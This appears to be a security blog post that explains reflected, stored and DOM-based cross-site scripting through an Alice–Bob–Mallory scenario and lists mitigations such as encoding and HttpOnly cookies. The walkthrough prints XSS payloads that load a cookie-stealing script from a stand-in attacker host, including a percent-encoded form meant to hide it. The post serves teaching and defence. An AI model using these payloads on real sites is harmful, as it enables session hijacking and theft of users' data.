Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page. For more details on the different types of XSS flaws, see: Types of Cross-Site Scripting.

Non-persistent

Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some garbage characters, so both computers (client and server) have a record that she's logged in.
  1. Mallory observes that Bob's website contains a reflected XSS vulnerability:
    1. When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words "not found," and the url will be http://bobssite.org?q=her search term.
    2. With a normal search query, like the word "puppies", the page simply displays "puppies not found" and the url is "http://bobssite.org?q=puppies" - which is perfectly normal behavior.
    3. However, when she submits an abnormal search query, like "<script type='text/javascript'>alert('xss');</script>",
      1. An alert box appears (that says "xss").
      2. The page displays "<script type='text/javascript'>alert('xss');</script> not found," along with an error message with the text 'xss'.
      3. The url is "http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script> - which is exploitable behavior.
  2. Mallory crafts a URL to exploit the vulnerability:
    1. She makes the URL http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>. She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E, so that human readers cannot immediately decipher the malicious URL.[24]
    2. She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!"
  3. Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob's website to search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory's program authstealer.js (triggering the XSS attack). Alice forgets about it.
  4. The authstealer.js program runs in Alice's browser, as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it.
  5. Mallory now puts Alice's Authorization Cookie into her browser as if it were her own. She then goes to Bob's site and is now logged in as Alice.
  6. Now that she's in, Mallory goes to the Billing section of the website and looks up Alice's credit card number and grabs a copy. Then she goes and changes her password so Alice can't even log in anymore.
  7. She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob's website.
Several things could have been done to mitigate this attack:
  1. The search input could have been sanitized which would include proper encoding checking.
  2. The web server could be set to redirect invalid requests.
  3. The web server could detect a simultaneous login and invalidate the sessions.
  4. The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
  5. The website could display only the last few digits of a previously used credit card.
  6. The website could require users to enter their passwords again before changing their registration information.
  7. The website could enact various aspects of the Content Security Policy.
  8. Users could be educated to not click "benign-looking", but malicious, links.
  9. Set cookie with HttpOnly flag to prevent access from JavaScript.

Persistent attack

Mallory gets an account on Bob's website.

  1. Mallory observes that Bob's website contains a stored XSS vulnerability. If you go to the News section, and post a comment, it will display whatever he types in for the comment. But, if the comment text contains HTML tags in it, the tags will be displayed as it is, and any script tags get run.
  2. Mallory reads an article in the News section and writes in a comment at the bottom in the Comments section. In the comment, she inserts this text: I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
  3. When Alice (or anyone else) loads the page with the comment, Mallory's script tag runs and steals Alice's authorization cookie, sending it to Mallory's secret server for collection.
  4. Mallory can now hijack Alice's session and impersonate Alice.
Bob's website software should have stripped out the script tag or done something to make sure it didn't work, but the security bug is in the fact that he didn't.




Stored XSS (AKA Persistent or Type I)

Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, we can envision the attack payload being permanently stored in the victim’s browser, such as an HTML5 database, and never being sent to the server at all.

Reflected XSS (AKA Non-Persistent or Type II)

Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data. In some cases, the user provided data may never even leave the browser (see DOM Based XSS next).

DOM Based XSS (AKA Type-0)

As defined by Amit Klein, who published the first article about this issue[1], DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write)."



Comments

Post a Comment

Popular posts from this blog

Google Hacking Guide

Image
Google Hacking Guide Resource from           By Ken Foster – KMBL Security For educational purposes only.    Not for use in matters or on sites you are not implicitly and legally approved to research By Ken Foster – KMBL Security                    What is Google hacking? The purpose of Google Hacking is to leverage the vast amounts of data that are stored and indexed in search engines to produce unique results that quickly identify sensitive information, vulnerable systems, and network tactics and methods used by their hosts.    These methods are beneficial to security professionals, ethical hackers, and unfortunately black hats.    Who is Google Hacking? Google hacking has become very popular among security testers, ethical hackers, and unfortunately script kiddies and hackers who all too well understand its value. Is it Illegal? This is debatable and dependent upon the country or state you live in and the location of the target.   As a
Read more

Sanitizing application text fields

Image
  Sanitizing application text fields to prevent SQL injections and vulnerabilities involves several best practices.   Use Parameterized Queries or Prepared Statements: Instead of directly concatenating user input into SQL queries, use parameterized queries or prepared statements provided by your programming language's database API. These methods separate the SQL query logic from the user input, making it impossible for an attacker to inject malicious SQL code. Input Validation: Validate all user input to ensure it adheres to expected formats and ranges. Reject input that contains unexpected characters or patterns that could be indicative of SQL injection attempts. Use Whitelisting: Instead of blacklisting specific characters or patterns, consider whitelisting allowed characters and formats for input fields. This approach is generally safer as it explicitly defines what is acceptable rather than attempting to identify and filter out malicious input. Escape Special Characters: If y
Read more